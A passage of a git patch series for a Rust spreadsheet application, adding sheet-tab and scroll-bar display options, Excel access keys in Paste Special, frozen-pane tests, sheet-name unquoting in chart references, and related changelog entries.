app.run_or_alert("home.insertSheet", json!({})); + }); + ui.add_space(6.0); + if crate::widgets::icon_button(ui, Icon::Plus, t.text_dim, app.ui.language.tr("New sheet (⇧F11)"), vec2(26.0, 26.0)).clicked() { + app.run_or_alert("home.insertSheet", json!({})); + } + } + if !view.show_horizontal_scroll { + return; } // The track ends where the grid does, so it stops under the vertical scrollbar. let avail = ui.available_rect_before_wrap(); @@ -312,8 +327,14 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let split_left = share.map_or(avail.left(), |share| (bar_left + bar_width * share).min(right - SPLIT_WIDTH - MIN_TRACK).max(avail.left())); let split = Rect::from_min_max(pos2(split_left, avail.top()), pos2(split_left + SPLIT_WIDTH, avail.bottom())); - tab_split_handle(app, ui, split, (bar_left, bar_width), right, uid, &t); - let track = Rect::from_min_max(pos2(split.right(), avail.center().y - 7.0), pos2(right, avail.center().y + 7.0)); + // Without sheet tabs there is nothing to split: the scroll bar takes the bar. + let track_left = if view.show_sheet_tabs { + tab_split_handle(app, ui, split, (bar_left, bar_width), right, uid, &t); + split.right() + } else { + avail.left() + }; + let track = Rect::from_min_max(pos2(track_left, avail.center().y - 7.0), pos2(right, avail.center().y + 7.0)); crate::grid::horizontal_scrollbar(app, ui, track, &t); }); }); diff --git a/crates/ui-egui/tests/it/tab_split.rs b/crates/ui-egui/tests/it/tab_split.rs index 03ca5e9c5..7189358ac 100644 --- a/crates/ui-egui/tests/it/tab_split.rs +++ b/crates/ui-egui/tests/it/tab_split.rs @@ -151,3 +151,49 @@ fn each_workbook_keeps_its_own_tab_share() { assert!(track(&h).left() < 400.0, "a new workbook starts at the default share: {:?}", track(&h)); assert_eq!(h.state().grid.tab_shares.len(), 1, "only the dragged workbook has a share"); } + +/// The tab bar of a workbook whose window has `command` run with `{on: false}` first. +fn harness_without(command: &str) -> Harness { + let mut s = Session::new(); + s.new_workbook(); + s.execute("sheet.rename", json!({"sheet": 0, "name": "Tab00"})).unwrap(); + s.execute(command, json!({"on": false})).unwrap(); + let mut h = crate::common::builder().with_step_dt(1.0 / 60.0).with_size(vec2(900.0, 120.0)).build_ui_state( + move |ui, app: &mut SheetApp| { + app.grid.cells_rect = Some(Rect::from_min_size(pos2(0.0, 0.0), vec2(ui.max_rect().width(), 80.0))); + gridcraft_ui_egui::tabs::sheet_tabs(app, ui); + }, + crate::common::app(s), + ); + h.run_steps(20); + h +} + +fn shows_tab_name(h: &Harness) -> bool { + h.output().shapes.iter().any(|s| matches!(&s.shape, Shape::Text(t) if t.galley.job.text == "Tab00")) +} + +#[test] +fn display_options_hide_the_sheet_tabs_and_the_horizontal_scroll_bar() { + // #3101: File › Options › Advanced, Display options for this workbook. + let h = harness_without("view.showSheetTabs"); + assert!(!shows_tab_name(&h), "no sheet tabs"); + assert!(h.state().grid.tab_split.is_none(), "nothing to split without tabs"); + let bar = h.state().grid.hscroll.expect("the scroll bar stays"); + assert!(bar.left() < 40.0, "the scroll bar takes the bar from its left edge: {bar:?}"); + + let h = harness_without("view.showHorizontalScrollBar"); + assert!(shows_tab_name(&h), "the tabs stay"); + assert!(h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no scroll bar and no split handle"); + + // Both off: no bar at all. + let mut s = Session::new(); + s.new_workbook(); + s.execute("view.showSheetTabs", json!({"on": false})).unwrap(); + s.execute("view.showHorizontalScrollBar", json!({"on": false})).unwrap(); + let mut h = crate::common::builder() + .with_size(vec2(900.0, 120.0)) + .build_ui_state(|ui, app: &mut SheetApp| gridcraft_ui_egui::tabs::sheet_tabs(app, ui), crate::common::app(s)); + h.run_steps(5); + assert!(!shows_tab_name(&h) && h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no bar at all"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..503a77179 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (Display options for this workbook: sheet tabs and scroll bars; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | File › Options › Display options for this workbook: Show horizontal scroll bar, Show vertical scroll bar and Show sheet tabs (`view.showHorizontalScrollBar`, `view.showVerticalScrollBar`, `view.showSheetTabs`), saved with the workbook; with the sheet tabs off the scroll bar takes the bar, with the scroll bar off the tabs do, with both off the bar goes, and without the vertical scroll bar the grid takes its width (#3101) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From c35ab0f4f4e61c442803114e639db8113ab1fdac Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:41:55 -0600 Subject: [PATCH 097/167] #1482: every Paste Special option has its Excel access key Paste Special only knew the letters F, V, T, C and E. Excel gives every option one: A (All), N (Validation), X (All except borders), W (Column widths), R (Formulas and number formats), U (Values and number formats); O, D, S, M, I for the operations; B for Skip blanks; and L for the Paste Link button, which pastes at once. One table now maps each letter to what it does; Enter still pastes with the chosen options. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs/paste.rs | 75 ++++++++++++++----- .../ui-egui/tests/it/paste_special_dialog.rs | 47 ++++++++++++ docs/ui-parity.md | 3 +- 3 files changed, 104 insertions(+), 21 deletions(-) diff --git a/crates/ui-egui/src/dialogs/paste.rs b/crates/ui-egui/src/dialogs/paste.rs index 9ac0bc579..253729b2a 100644 --- a/crates/ui-egui/src/dialogs/paste.rs +++ b/crates/ui-egui/src/dialogs/paste.rs @@ -5,6 +5,8 @@ use super::{Dialog, Field, Json, Key, SheetApp, Stroke, json, theme, vec2}; /// come from the dialog's `fields`, so the letter shortcuts and the control channel see the same. pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { let lang = app.ui.language; + // L, the Paste Link button's access key, pastes at once as the button does. + let link_now = d.values.remove(PASTE_LINK_NOW).is_some_and(|v| v == json!(true)); let t = theme::Tokens::get(ui.ctx()); type Choice = (&'static str, &'static str, Vec<(&'static str, &'static str)>); let choices: Vec = d @@ -56,7 +58,7 @@ pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialo ui.separator(); ui.horizontal(|ui| { // Excel's Paste Link pastes references to the copied cells straight away. - if ui.button(lang.tr("Paste Link")).on_hover_text(lang.tr("Paste formulas that refer to the copied cells")).clicked() { + if ui.button(lang.tr("Paste Link")).on_hover_text(lang.tr("Paste formulas that refer to the copied cells")).clicked() || link_now { d.values.insert("what".into(), json!("all")); d.values.insert("operation".into(), json!("none")); d.values.insert("link".into(), json!(true)); @@ -74,6 +76,45 @@ pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialo }); } +/// Set by the Paste Link access key for the next frame of the dialog, which then pastes. +const PASTE_LINK_NOW: &str = "pasteLinkNow"; + +/// What one of Paste Special's access keys does: choose an option of a group, or flip a box. +#[derive(Clone, Copy)] +enum Mnemonic { + Set(&'static str, &'static str), + Toggle(&'static str), + /// The Paste Link button: pastes at once. + PasteLink, +} + +/// Excel's access keys in Paste Special (#1482): the Paste choices, the operations, the two check +/// boxes and the Paste Link button, each the letter Excel underlines. +fn mnemonic_action(key: Key) -> Option<(char, Mnemonic)> { + use Mnemonic::{Set, Toggle}; + Some(match key { + Key::A => ('a', Set("what", "all")), + Key::F => ('f', Set("what", "formulas")), + Key::V => ('v', Set("what", "values")), + Key::T => ('t', Set("what", "formats")), + Key::C => ('c', Set("what", "comments")), + Key::N => ('n', Set("what", "validation")), + Key::X => ('x', Set("what", "allExceptBorders")), + Key::W => ('w', Set("what", "columnWidths")), + Key::R => ('r', Set("what", "formulasAndNumberFormats")), + Key::U => ('u', Set("what", "valuesAndNumberFormats")), + Key::O => ('o', Set("operation", "none")), + Key::D => ('d', Set("operation", "add")), + Key::S => ('s', Set("operation", "subtract")), + Key::M => ('m', Set("operation", "multiply")), + Key::I => ('i', Set("operation", "divide")), + Key::B => ('b', Toggle("skipBlanks")), + Key::E => ('e', Toggle("transpose")), + Key::L => ('l', Mnemonic::PasteLink), + _ => return None, + }) +} + /// Paste Special's legacy mnemonics select options; Enter still performs the paste. pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { if ctx.text_edit_focused() { @@ -88,14 +129,7 @@ pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); let mac = ctx.os() == egui::os::OperatingSystem::Mac; let allowed = |m: egui::Modifiers| !m.ctrl && !m.command && !m.mac_cmd && !(m.alt && (mac || right_alt)); - let mnemonic = |key| match key { - Key::T => Some('t'), - Key::V => Some('v'), - Key::F => Some('f'), - Key::C => Some('c'), - Key::E => Some('e'), - _ => None, - }; + let mnemonic = |key| mnemonic_action(key).map(|(letter, _)| letter); let mut text_to_consume = Vec::new(); for event in ctx.input(|i| i.events.clone()) { let egui::Event::Key { key, pressed: true, repeat, modifiers, .. } = event else { continue }; @@ -107,17 +141,18 @@ pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { if repeat { continue; } - if key == Key::E { - let transpose = d.values.get("transpose").and_then(Json::as_bool).unwrap_or(false); - d.values.insert("transpose".into(), json!(!transpose)); - } else { - let what = match key { - Key::T => "formats", - Key::V => "values", - Key::F => "formulas", - _ => "comments", - }; - d.values.insert("what".into(), json!(what)); + match mnemonic_action(key).map(|(_, action)| action) { + Some(Mnemonic::Set(field, value)) => { + d.values.insert(field.into(), json!(value)); + } + Some(Mnemonic::Toggle(field)) => { + let on = d.values.get(field).and_then(Json::as_bool).unwrap_or(false); + d.values.insert(field.into(), json!(!on)); + } + Some(Mnemonic::PasteLink) => { + d.values.insert(PASTE_LINK_NOW.into(), json!(true)); + } + None => {} } } // Browsers can deliver Text before or after Key. Act only on Key, then remove diff --git a/crates/ui-egui/tests/it/paste_special_dialog.rs b/crates/ui-egui/tests/it/paste_special_dialog.rs index 161d35292..822503747 100644 --- a/crates/ui-egui/tests/it/paste_special_dialog.rs +++ b/crates/ui-egui/tests/it/paste_special_dialog.rs @@ -54,3 +54,50 @@ fn paste_link_pastes_references_at_once() { assert_eq!(c1["value"], json!(2.0)); assert!(c1["formula"].as_str().is_some_and(|f| f.contains("A1")), "{c1}"); } + +fn press(h: &mut Harness, key: egui::Key) { + for pressed in [true, false] { + h.input_mut().events.push(egui::Event::Key { key, physical_key: Some(key), pressed, repeat: false, modifiers: egui::Modifiers::NONE }); + } + h.run_steps(2); +} + +fn value(h: &Harness, field: &str) -> serde_json::Value { + h.state().dialog.as_ref().and_then(|d| d.values.get(field).cloned()).unwrap_or_default() +} + +#[test] +fn every_option_has_its_excel_access_key() { + // #1482: only F, V, T, C and E worked. + let mut h = harness(); + for (key, field, want) in [ + (egui::Key::N, "what", json!("validation")), + (egui::Key::X, "what", json!("allExceptBorders")), + (egui::Key::W, "what", json!("columnWidths")), + (egui::Key::R, "what", json!("formulasAndNumberFormats")), + (egui::Key::U, "what", json!("valuesAndNumberFormats")), + (egui::Key::A, "what", json!("all")), + (egui::Key::D, "operation", json!("add")), + (egui::Key::S, "operation", json!("subtract")), + (egui::Key::I, "operation", json!("divide")), + (egui::Key::O, "operation", json!("none")), + (egui::Key::M, "operation", json!("multiply")), + (egui::Key::B, "skipBlanks", json!(true)), + ] { + press(&mut h, key); + assert_eq!(value(&h, field), want, "{key:?}"); + } + press(&mut h, egui::Key::B); + assert_eq!(value(&h, "skipBlanks"), json!(false), "B flips Skip blanks back"); + // V then Enter: values multiplied, as with the mouse. + press(&mut h, egui::Key::V); + press(&mut h, egui::Key::Enter); + assert!(h.state().dialog.is_none()); + assert_eq!(cell(&mut h, "C1")["value"], json!(20.0)); + // L is the Paste Link button: it pastes at once. + let mut h = harness(); + press(&mut h, egui::Key::L); + h.run_steps(2); + assert!(h.state().dialog.is_none()); + assert!(cell(&mut h, "C1")["formula"].as_str().is_some_and(|f| f.contains("A1"))); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..09f29b9a9 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (every Paste Special option has its access key; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Paste Special: every option has Excel's access key (A, F, V, T, C, N, X, W, R, U; O, D, S, M, I; B, E; L pastes the link at once), not only F, V, T, C and E (#1482) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 56f0679fed05aa521d2e3665870a5d3456b9a098 Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 13:13:29 +0530 Subject: [PATCH 098/167] Frozen panes: test the scrolled freeze-handle drag and the frozen text's painted extent (#2544) Review follow-up: a column-handle drop on the last frozen column while scrolled, which fails if freeze_boundary measures with x(c + 1), and a check that frozen A1's text lies inside its clip, not only that the clip is A1. --- crates/ui-egui/tests/it/freeze_handles.rs | 17 +++++++++++++++++ crates/ui-egui/tests/it/text_overflow_scroll.rs | 14 ++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/crates/ui-egui/tests/it/freeze_handles.rs b/crates/ui-egui/tests/it/freeze_handles.rs index e3ccf8c65..141d0b9ef 100644 --- a/crates/ui-egui/tests/it/freeze_handles.rs +++ b/crates/ui-egui/tests/it/freeze_handles.rs @@ -82,3 +82,20 @@ fn last_frozen_column_ends_at_the_freeze_line_when_scrolled() { assert!(g.x(&sh, 2) < split.x && g.y(&sh, 2) < split.y, "C and row 3 are scrolled under the frozen panes"); assert!(g.same_col_pane(0, 1) && g.same_col_pane(2, 9) && !g.same_col_pane(1, 2)); } + +/// Dropping the column handle on the left part of the last frozen column while scrolled freezes +/// up to its left edge: the column's right edge is the freeze line, not the next column's +/// scrolled position (#2544). +#[test] +fn dragging_the_column_handle_when_scrolled_measures_the_last_frozen_column() { + let mut h = harness(); + h.state_mut().run("view.freezePanes", serde_json::json!({"cell": "C1"})).unwrap(); + h.state_mut().view_mut().unwrap().scroll = egui::vec2(300.0, 0.0); + h.run_steps(2); + let g = geo(&h); + let sh = h.state().session.active().unwrap().wb.active().unwrap().clone(); + let (cols, _) = freeze_handles(&g); + assert!(g.x(&sh, 2) < g.x(&sh, 1), "C is scrolled left of B"); + drag(&mut h, cols.center(), pos2(g.x(&sh, 1) + 10.0, g.cells.top() + 40.0)); + assert_eq!(freeze(&h), Some((0, 1))); +} diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index 076478e52..371c0aeee 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -53,6 +53,18 @@ fn text_clips(h: &Harness, text: &str) -> Vec { .collect() } +/// Painted extents of the text shapes whose text is `text`, cut to their clip rects. +fn text_visible_rects(h: &Harness, text: &str) -> Vec { + h.output() + .shapes + .iter() + .filter_map(|s| match &s.shape { + Shape::Text(t) if t.galley.job.text == text => Some(t.visual_bounding_rect().intersect(s.clip_rect)), + _ => None, + }) + .collect() +} + fn cell_rect(h: &Harness, cell: &str) -> Rect { let app = h.state(); let sheet = app.session.active().unwrap().wb.active().unwrap(); @@ -408,6 +420,8 @@ fn frozen_column_text_keeps_its_cell_when_scrolled() { (clips[0].left() - a1.left()).abs() <= 0.5 && (clips[0].right() - a1.right()).abs() <= 0.5, "A1's text spans A1 at column {col}: {clips:?} vs {a1:?}" ); + let visible = text_visible_rects(&h, LEFT); + assert!(visible.len() == 1 && visible[0].is_positive(), "A1's text shows inside its clip at column {col}: {visible:?}"); } } From e89ba799e916d60fa3286c84f5dd859d5e5b0cbf Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:49:01 -0600 Subject: [PATCH 099/167] #2012: chart names and macro examples unquote sheet names like formulas do Three places still split a `Sheet!Name` reference and stripped the sheet's quotes by hand: the chart resolver (is a series name a defined name?), the XLSX chart writer (the name's cache) and the macro editor's example references. The first two left a doubled quote in the name, so a series named `'Bob''s'!Title` (a name on the sheet "Bob's") wasn't found and showed that text instead of the name's value; they also split at the first `!`, so a quoted sheet holding one broke. All three now use core's split_sheet, the one reading formulas use. Co-Authored-By: Claude Opus 5.5 --- crates/chart/src/resolve.rs | 7 +++--- crates/chart/src/tests.rs | 36 ++++++++++++++++++++++++++++++ crates/ui-egui/src/macro_editor.rs | 14 ++++++++---- crates/xlsx/src/chart.rs | 9 ++++---- 4 files changed, 55 insertions(+), 11 deletions(-) diff --git a/crates/chart/src/resolve.rs b/crates/chart/src/resolve.rs index 6eee201ae..de3cdef1b 100644 --- a/crates/chart/src/resolve.rs +++ b/crates/chart/src/resolve.rs @@ -179,9 +179,10 @@ fn category_table(wb: &Workbook, sheet: usize, formula: &str, values: &str) -> ( /// Whether `t` names a defined name seen from `sheet` (`Name`, or `Sheet1!Name` looked up on /// that sheet), the way the evaluator looks names up. fn is_defined_name(wb: &Workbook, sheet: usize, t: &str) -> bool { - match t.split_once('!') { - Some((s, bare)) => wb.sheet_index(s.trim_matches('\'')).is_some_and(|i| wb.name(bare, i).is_some()), - None => wb.name(t, sheet).is_some(), + // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012). + match gridcraft_core::split_sheet(t) { + (Some(s), bare) => wb.sheet_index(&s).is_some_and(|i| wb.name(bare, i).is_some()), + (None, _) => wb.name(t, sheet).is_some(), } } diff --git a/crates/chart/src/tests.rs b/crates/chart/src/tests.rs index 46d047afc..5d5876af0 100644 --- a/crates/chart/src/tests.rs +++ b/crates/chart/src/tests.rs @@ -1258,3 +1258,39 @@ fn box_whisker_draws_each_series_quartile_method() { // The boxes span 3.5 and 2.5 data units on the same value axis. assert!((heights[0] / heights[1] - 1.4).abs() < 0.001); } + +#[test] +fn a_series_named_by_a_name_on_a_sheet_with_an_apostrophe_resolves() { + // #2012: `'Bob''s'!Title` kept the doubled quote, so the sheet wasn't found and the series + // was named by the literal text. + let mut wb = Workbook::new(); + { + let s = wb.sheet_mut(0).unwrap(); + s.name = "Bob's".into(); + s.set_value(CellRef::new(0, 0), Value::from("Takings")); + s.set_value(CellRef::new(1, 0), Value::Number(4.0)); + s.set_value(CellRef::new(2, 0), Value::Number(9.0)); + } + wb.names.push(gridcraft_model::DefinedName { + name: "Title".into(), + scope: Some(0), + formula: "'Bob''s'!$A$1".into(), + comment: String::new(), + hidden: false, + }); + let mut c = chart(ChartKind::ColumnClustered); + c.series = vec![Series { + name: Some("'Bob''s'!Title".into()), + categories: None, + values: "'Bob''s'!$A$2:$A$3".into(), + bubble_sizes: None, + color: None, + secondary: false, + kind: None, + quartiles: Default::default(), + smooth: false, + trendlines: Vec::new(), + }]; + let d = resolve(&wb, 0, &c); + assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings")); +} diff --git a/crates/ui-egui/src/macro_editor.rs b/crates/ui-egui/src/macro_editor.rs index 1f64d55ad..2dc52edf5 100644 --- a/crates/ui-egui/src/macro_editor.rs +++ b/crates/ui-egui/src/macro_editor.rs @@ -459,10 +459,7 @@ pub fn parse_refs(text: &str) -> Vec<(Option, RangeRef)> { text.split(',') .filter_map(|part| { let part = part.trim(); - let (sheet, body) = match part.rsplit_once('!') { - Some((s, b)) => (Some(s.trim().trim_matches('\'').replace("''", "'")), b), - None => (None, part), - }; + let (sheet, body) = gridcraft_engine::core::split_sheet(part); RangeRef::parse(&body.replace('$', "")).map(|r| (sheet, r)) }) .take(500) @@ -2399,6 +2396,15 @@ pub fn paint_overlay(p: &egui::Painter, geo: &crate::grid::Geo, sh: &gridcraft_e mod tests { use super::*; + #[test] + fn example_references_unquote_sheet_names_as_formulas_do() { + // #2012: one shared reading of `'Bob''s'!A1` and `'a!b'!A1`. + let refs = parse_refs("'Bob''s'!$A$1:$B$2, 'a!b'!C3, D4"); + let sheets: Vec> = refs.iter().map(|(s, _)| s.clone()).collect(); + assert_eq!(sheets, [Some("Bob's".to_string()), Some("a!b".to_string()), None]); + assert_eq!(refs.iter().map(|(_, r)| r.a1()).collect::>(), ["A1:B2", "C3", "D4"]); + } + #[test] fn an_edited_input_keeps_a_shape_a_macro_may_declare() { let range = NamedInput { rows: [2, 10], cols: [3, 3], header: true, col_types: vec![ColType::Number; 3], ..NamedInput::default() }; diff --git a/crates/xlsx/src/chart.rs b/crates/xlsx/src/chart.rs index 6fa9e0144..c36420043 100644 --- a/crates/xlsx/src/chart.rs +++ b/crates/xlsx/src/chart.rs @@ -366,12 +366,13 @@ fn is_ref(f: &str) -> bool { /// when it isn't a name, or names a sheet the workbook doesn't have. fn chart_name<'a>(wb: &'a Workbook, si: usize, f: &str) -> Option<(Option, String, Option<&'a DefinedName>)> { let Ok(Expr::Name(n)) = gridcraft_formula::parse(f.trim()) else { return None }; - match n.split_once('!') { - Some((s, bare)) => { - let i = wb.sheet_index(s.trim_matches('\''))?; + // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012). + match gridcraft_core::split_sheet(&n) { + (Some(s), bare) => { + let i = wb.sheet_index(&s)?; Some((Some(i), bare.to_string(), wb.name(bare, i))) } - None => { + (None, _) => { let def = wb.name(&n, si); Some((None, n, def)) } From a774d18350166477b8385799ada7c560d4a078b3 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:53:43 -0600 Subject: [PATCH 100/167] #3089: the personal-information flag's doc names the XLSX writer Addresses CodeRabbit review on #3238, "Limit the remove_personal_info doc comment to XLSX saves": only the XLSX writer leaves out the author and company; the workbook's own serialization still holds them. The comment now says so. Co-Authored-By: Claude Opus 5.5 --- crates/model/src/workbook.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index dbd011427..c8975eae0 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -202,7 +202,8 @@ pub struct Workbook { pub show_objects: ShowObjects, /// Trust Center › Privacy Options › "Remove personal information from file properties on save" /// (``): kept with the file, and while it is on the author and - /// company are left out of what GridCraft saves, as Excel leaves them empty. + /// company are left out of the XLSX files GridCraft writes, as Excel leaves them empty. Other + /// formats aren't filtered: the workbook's own serialization still holds them. #[serde(default, skip_serializing_if = "std::ops::Not::not")] pub remove_personal_info: bool, /// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`]. From f9edafa800752fef25602dcaf84a0e1e080daa17 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:54:50 -0600 Subject: [PATCH 101/167] #2120: a linked cell's menu edits, opens or removes its link MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Right-clicking a cell with a link only offered "Link…", whose dialog was titled Insert Hyperlink, so changing a link wasn't obvious. As in Excel, the cell menu of a linked cell now offers Edit Hyperlink… (the same dialog, filled with the link and titled Edit Hyperlink), Open Hyperlink (as clicking the link: a reference selects its cell, a web or e-mail address asks first) and Remove Hyperlink (edit.clearHyperlinks). A cell without a link keeps "Link…". Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs.rs | 2 ++ crates/ui-egui/src/grid/menus.rs | 16 +++++++++ .../tests/it/context_menu_stays_open.rs | 33 +++++++++++++++++++ docs/ui-parity.md | 3 +- 4 files changed, 53 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 33be245a5..ec61c5c56 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -564,6 +564,8 @@ impl Dialog { d.values.insert("text".into(), json!(text)); d.values.insert("tooltip".into(), json!(link.tooltip)); d.original_link_text = Some(text); + // As in Excel, the dialog on a 